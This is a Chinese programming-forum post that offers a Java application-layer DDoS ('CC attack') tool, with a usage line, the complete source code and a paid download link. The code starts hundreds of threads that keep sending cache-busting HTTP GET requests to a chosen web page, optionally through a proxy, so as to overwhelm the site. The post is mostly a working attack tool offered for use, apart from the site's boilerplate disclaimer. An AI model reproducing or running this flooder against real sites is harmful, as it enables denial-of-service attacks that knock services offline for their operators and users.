架构师_程序员_码农网

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 9073|回复: 0

[技巧] java版本d-dos攻击器程序

[复制链接]
发表于 2014-12-1 15:21:57 | 显示全部楼层 |阅读模式
jar代码
java 实现的dDOS攻击。
不过和传统 的dDos不所不同。
本软件是针对页面的DDOS攻击。
使用方法
java -jar ccddos.jar www.xxx.com 80 10 /index.do username=xxx 80

[mw_shl_code=java,true]import java.io.IOException;
import java.net.ConnectException;
import java.net.InetSocketAddress;
import java.nio.ByteBuffer;
import java.nio.channels.SelectionKey;
import java.nio.channels.Selector;
import java.nio.channels.SocketChannel;
import java.util.Iterator;
import java.util.Random;
import java.util.Set;
import java.util.Timer;
import java.util.TimerTask;
import java.util.Vector;

/**
* 守护线程
*
* @author  administration
*
*/
public class test {
    private String host, uri, param;
    private int port;
    private final Vector<CCDDOSThread> v = new Vector<CCDDOSThread>();
    private InetSocketAddress isa;
    private int threadsCount = 500;// 线程数
    private Random r = new Random();
    private long timeout = 5000l;

    /**
     * 开启攻击
     */
    public void start() {
        for (int i = 0; i < threadsCount; i++) {
            CCDDOSThread t = new CCDDOSThread();
            v.add(t);
            t.start();
            
            
            
        }
        Timer t = new Timer();
        t.schedule(new TimerTask() {
            public void run() {
                int count = 0, timeoutthreads = 0;
                long ct = System.currentTimeMillis();
                for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext();) {
                    CCDDOSThread th = it.next();
                    if (th.isCancle() || !th.isAlive()) {
                        it.remove();
                        th = null;
                        count++;
                    } else if (ct - th.start > timeout) {
                        // 超时,外部结束
                        timeoutthreads++;
                        th.setCancle(true);
                        th.interrupt();
                        it.remove();
                        th = null;
                        count++;
                    }
                }
                if (count == 0) {
                    return;
                }
                System.out.println("已经关闭线程:" + count + ",其中连接超时线程:"
                        + timeoutthreads);
                for (int i = 0; i < count; i++) {
                    CCDDOSThread th = new CCDDOSThread();
                    v.add(th);
                    th.start();
                }
            }
        }, 0l, 100l);
        System.out.println("守护线程已经启动:");
    }

    /**
     * @param args
     */
    public static void main(String[] args) {
        if (args.length < 6) {
            System.out.println("使用说明:");
            System.out
                    .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]");
            System.out.println("");
            System.exit(0);
        } else if (args.length >= 8) {
            // 设置有代理
            System.getProperties().put("proxySet", "true");
            System.getProperties().setProperty("http.proxyHost", args[6]);
            System.getProperties().setProperty("http.proxyPort", args[7]);
        }

        test m = new test();
        m.host = args[0];
        m.port = Integer.valueOf(args[1]);
        m.uri = args[3];
        m.param = args[4];
        m.threadsCount = Integer.valueOf(args[2]);
        m.timeout = Long.valueOf(args[5]);
        m.isa = new InetSocketAddress(m.host, m.port);
        m.start();
    }

    /**
     * 攻击线程
     *
     * @author zhanghongbo
     *
     */
    class CCDDOSThread extends Thread {
        private boolean cancle = false;
        public long start = System.currentTimeMillis();

        public void setCancle(boolean cancle) {
            this.cancle = cancle;
        }

        public boolean isCancle() {
            return cancle;
        }

        public void run() {
            long start = System.currentTimeMillis();
            Selector selector;
            try {
                selector = Selector.open();
                SocketChannel sc;
                try {
                    sc = SocketChannel.open(isa);
                } catch (ConnectException ex) {
                    // System.out.println(ex.getMessage());
                    cancle = true;
                    selector.close();
                    return;
                }

                sc.configureBlocking(false);
                sc.register(selector, SelectionKey.OP_WRITE
                        | SelectionKey.OP_READ);
                wait: while (selector.select() > 0 && !cancle) {
                    if (System.currentTimeMillis() - start > timeout) {
                        cancle = true;
                        break wait;
                    }
                    Set<?> readykey = selector.selectedKeys();
                    Iterator<?> it = readykey.iterator();
                    while (it.hasNext() && !cancle) {
                        if (System.currentTimeMillis() - start > timeout) {
                            cancle = true;
                            break wait;
                        }
                        SelectionKey skey = (SelectionKey) it.next();
                        it.remove();
                        SocketChannel scc = (SocketChannel) skey.channel();

                        if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) {
                            String head = "GET " + uri + "?" + param
                                    + "&rndnum=" + r.nextInt()
                                    + " HTTP/1.1\r\n" + "Host: " + host
                                    + "\r\n" + "Connection:close\r\n" + "\r\n";
                            ByteBuffer bbf = ByteBuffer.wrap(head.getBytes());
                            scc.write(bbf);
                        }
                        skey.cancel();
                        scc.close();
                    }
                }
                selector.close();
                sc.close();

            } catch (IOException ex) {
                cancle = true;
            }
        }
    }
}
[/mw_shl_code]

成品以及源码下载: java ddos.zip (8.42 KB, 下载次数: 0, 售价: 2 粒MB)





上一篇:细说史上最大400G神秘DDoS攻击
下一篇:发 iPhone 6 说说神器破解免积分版
码农网,只发表在实践过程中,遇到的技术难题,不误导他人。
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

免责声明:
码农网所发布的一切软件、编程资料或者文章仅限用于学习和研究目的;不得将上述内容用于商业或者非法用途,否则,一切后果请用户自负。本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑中彻底删除上述内容。如果您喜欢该程序,请支持正版软件,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。

Mail To:help@itsvse.com

QQ|手机版|小黑屋|架构师 ( 鲁ICP备14021824号-2 )|网站地图

GMT+8, 2024-5-3 04:17

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表